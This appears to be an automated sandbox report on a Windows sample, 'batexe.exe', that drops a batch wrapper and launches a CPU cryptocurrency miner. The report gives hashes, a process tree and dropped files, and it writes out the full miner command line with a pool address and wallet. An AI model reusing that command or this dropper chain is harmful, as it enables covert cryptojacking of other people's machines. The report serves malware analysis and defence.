73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
305s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 01:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
668	b2e.exe
4768	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4768	cpuminer-sse2.exe
4768	cpuminer-sse2.exe
4768	cpuminer-sse2.exe
4768	cpuminer-sse2.exe
4768	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1928-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 668	1928	batexe.exe	73
PID 1928 wrote to memory of 668	1928	batexe.exe	73
PID 1928 wrote to memory of 668	1928	batexe.exe	73
PID 668 wrote to memory of 3908	668	b2e.exe	74
PID 668 wrote to memory of 3908	668	b2e.exe	74
PID 668 wrote to memory of 3908	668	b2e.exe	74
PID 3908 wrote to memory of 4768	3908	cmd.exe	77
PID 3908 wrote to memory of 4768	3908	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Users\Admin\AppData\Local\Temp\AC7C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AC7C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AC7C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B0F1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\AC7C.tmp\b2e.exe

Filesize
1024KB

MD5
55d3fcf113506e85b6cf485f08b11290

SHA1
539d601fdd7e37fe22412d8c73023e21293ac62c

SHA256
519083ea4de496637895b9c3dd7fa5d9fc1140325272570f09aa0d2bad46f2d3

SHA512
62c0dc6a36ef819eede73c8b041fbdf579ec0ae399654a73a4628555bb84c4e1fdcf314deb659f41986204e2d92acd886dd8735a24a150a309d4035b58a33ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\AC7C.tmp\b2e.exe

Filesize
832KB

MD5
e1bd95ac3f9c6ce43914de2a53967fee

SHA1
3e03982c075df051d5a8dd837f42873f30483faf

SHA256
45c3475b58fbaa942be0297167c5c3fbbfe7295aa3fcbb4fb61df1348f55c550

SHA512
2166424e86301bbe04fbcce5d0b91562248845c5b1a7e889fee9a95d1c872dd6ea5cc85792b54e6d085095339be2f2b7f30cfd9b40a071b51c96a5009cc96f00

Download Submit
C:\Users\Admin\AppData\Local\Temp\B0F1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
655KB

MD5
8fc9e04e7c5e9e89b785f4f086b5adb8

SHA1
605748b928cf7193bf9d291a08492cc28e0ad267

SHA256
2025bf7e44f25eaf3cf68435484f9b72be19244225c215420f78fec72f7f5723

SHA512
d77540c4e3f4ac537f05b4102fe1ab8634c086dada0d4c0e1712a299cda0b9922e33da931dddc34436dd4d899d610d358686905ef7615b12fe49a40532e5a3cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
705KB

MD5
4701e167a80d83b2750f710c115371ea

SHA1
aff8819c3c47a4b325352e273aa32faeb4485f45

SHA256
84be6b2eefe3d0606e9319addd4f2e541dae7ce188c3fc3b5437c5b4f0a980a4

SHA512
3a6ed5466f7ccc59783181896b98c585c130395400f74dcbac904d8c332cdba230cb9bbeaca2e93fca6e087a5f4131178540e799e3283ab82c6d483359f1915b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
798KB

MD5
03383dc3d1edcb3ae42bb181facbf5cb

SHA1
5831310f657fdb2ecb8093d9d919aa8d44dde61d

SHA256
d7689f3bab0a6a8be8bdda87099b739fe6853a71487e169e1a4f1048b824b3de

SHA512
750d87f6132f2ce83af51d97412b50f7b0cbc353f11dba49fbd6f5d8e20547084f9010ddb6de275ae54199158ecb1653fd06701ac42687be9b79eda0484a36dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
513KB

MD5
a9d2ad3d82c5dcdff4a527634decc529

SHA1
3b1f8731622f2739bc5d90758ac3d82820bbc88f

SHA256
5323ebc3f47dcfb6993d3471ef52cc1eaf08540c2a15c107532c24182a771704

SHA512
152cf6f28009c8422e1114818ffb2e81f1f871449b5f0b5ac85a0e62033b4eefb2becd1fa4b145acfae38f249e4a33530b12c695dc5c6f54ded28ceadcf58fdc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
704KB

MD5
ceb1ee23d68e973e400b41e7324c71b6

SHA1
0ad5540864cf9bcbf52870ba72566625ca54e67a

SHA256
66f2f5bd30986e28a4c43ed44264cc56f63bd7a3ecd6aeb5845ac7bcd724aeee

SHA512
51ce4a101517339cb1f5c23fc953dde73f871cec2bde8ea5c9fad9376366d7b8aadaa8668ef2f7bf9d873e8817345e4e337a7a94c42c3ddf6a168377af060e9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
286KB

MD5
dc673226ff3870885fe4791022d7faf2

SHA1
053d91d56933ed3655faf761224cf32c319c2df7

SHA256
3b04a2e74aa7150fc72a3f00f2d69f333d7a253d5ab912dd3069d1685ae0b1cf

SHA512
1a05092327f3aa75dfde7863976ae037b42a9f6085986443bc68e14dab4d8bf2c9c81392f2a4693bad541db82b8e39a5182dfb68a8e63acad3c7f31f6f510953

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
384KB

MD5
d1d1f36cdbccda3b96e8c164afb74526

SHA1
91bafcd404c8568c9a195ec8cbf9592ea9e17e8b

SHA256
ea6e726150aa9a8dcf9ccb6a991440b451f9f2dcc46d93cb35971556879d1d03

SHA512
2306e6578ba2217b4f32913e1ac35e0547723b873c11244e96affd05457945373c621ea16a82e1e3aa1a177e3059efc40c8585118c63a3ea145524c51d1d18c9

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
256KB

MD5
f8edb8dd2fb15f1887ace09587589dd4

SHA1
cbf7cbfefc0215d9500a98d9064deb9e86787152

SHA256
0465270288d69a0ec9beb7114707bed76756c14148293237d0d35423abdfc67b

SHA512
aa993112953225280c0bedb1ebd8288298b9c22a6a884a952ba60e48cbd21c4ce60724b7adc961a0528d7c569596e3420fec2670fc47c3eb6c00c691e0378abc

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
181KB

MD5
3f842dcb9bc962182cf255a050f8495d

SHA1
fbc47043525ec15121d3a69e65ef0b0fe48716a1

SHA256
d4bf56735b9f91598a6c6276d42eb5665cb6ed6c216ef50b21592bfb8d2f590d

SHA512
2aab32279e1dd67d03957166ff30a47f24efe12901ff94a962359be44067e7e8087496fb1238a7a6c57db17c9f7a828728aaa3d97a1d1e91799b4d1156b6c24b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
162KB

MD5
1721a947ff7a9c2e831584f2a7e877e3

SHA1
63dbb19d83a2d59127e098f66e63207a64f1d4bf

SHA256
8f277ca0d489119f62888994da3b97a1225f0d61c3324c6669161c0dd73754f4

SHA512
8decf94fc45dedff8dd705461a57873a751badba399cd3a93565e318b398b6ce8cca808e613c8fb3d4b2e7d6d2efe68601e88e904a68d6759a47b8a8b2bce493

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
288KB

MD5
e0d6963299ba4ace3c8db60be712d808

SHA1
cf0def81253802c354f2c811c731bcb472f86211

SHA256
dc46ef2d8573f5dedb256c0e3f787f186d6e9114d2189290de8b90e957dc13a4

SHA512
8a64e9912a2e6ad79b316584a3c97474508bb13d725031f9ae051e1f05187109dbaaf795a7523249279c9f2d3e08eb026efd711111c6cc1e7240c7dc66cb87cb

Download Submit
memory/668-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/668-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1928-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4768-42-0x0000000071E00000-0x0000000071E98000-memory.dmp

Filesize
608KB

Download
memory/4768-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4768-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4768-44-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/4768-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4768-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4768-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4768-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4768-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4768-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4768-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4768-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4768-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download